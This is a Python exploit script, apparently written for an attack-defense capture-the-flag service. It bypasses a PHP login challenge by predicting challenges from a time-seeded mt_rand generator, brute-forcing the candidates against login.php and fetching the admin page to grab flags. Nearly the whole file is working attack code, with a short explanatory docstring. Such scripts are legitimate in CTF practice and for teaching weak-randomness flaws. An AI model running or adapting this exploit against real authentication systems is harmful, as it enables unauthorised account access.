import sys
import time

import requests

from php_mt19937 import MT

"""
Explanation:

We know the source code of challenge.php and login.php, thus we know, that a valid
challenge is required. That's not a problem for us, since the developer thought it would be
safer to seed the randomness with a rotating sequence of numbers (from 0-9) every second.
Thus, we can easily recompute the challenge (assuming that our clocks aren't too far apart...)
"""

# maximum deviation between our clock and the target clock
MAX_OFFSET = 10


def precompute_challenge(seed, length=6):
    alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    r = MT(seed)
    return ''.join(alpha[r.mt_rand(0, len(alpha)-1)] for _ in range(length))


def exploit_one(target, username):
    sess = requests.Session()

    # Let server store challenge
    # code in server-side session cookie
    response = sess.post(f"http://{target}:8080/func/challenge.php", data={'username': username})
    print(f"Got challenge {response.text}")

    # Recompute possible solutions
    now = int(time.time())
    candidate_solutions = [precompute_challenge(now + i) for i in range(-MAX_OFFSET, MAX_OFFSET)]

    # Try all of them until one works
    for solution in candidate_solutions:
        print(f"Trying solutions \"{solution}\"")
        response = sess.post(f'http://{target}:8080/func/login.php', data={'username': username, 'solution': solution},
                             timeout=10)
        print(f"Got: {response.text}")
        # status code 200? -> we made it
        if response.status_code == 200:
            break
    else:
        return None

    # Get home page
    return sess.get(f"http://{target}:8080/admin/home").text


def exploit(target: str, flag_ids_username: list[str]):
    for flag_id in flag_ids_username:
        print(f'Attacking {flag_id}')
        result = exploit_one(target, flag_id)
        print(result)


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))
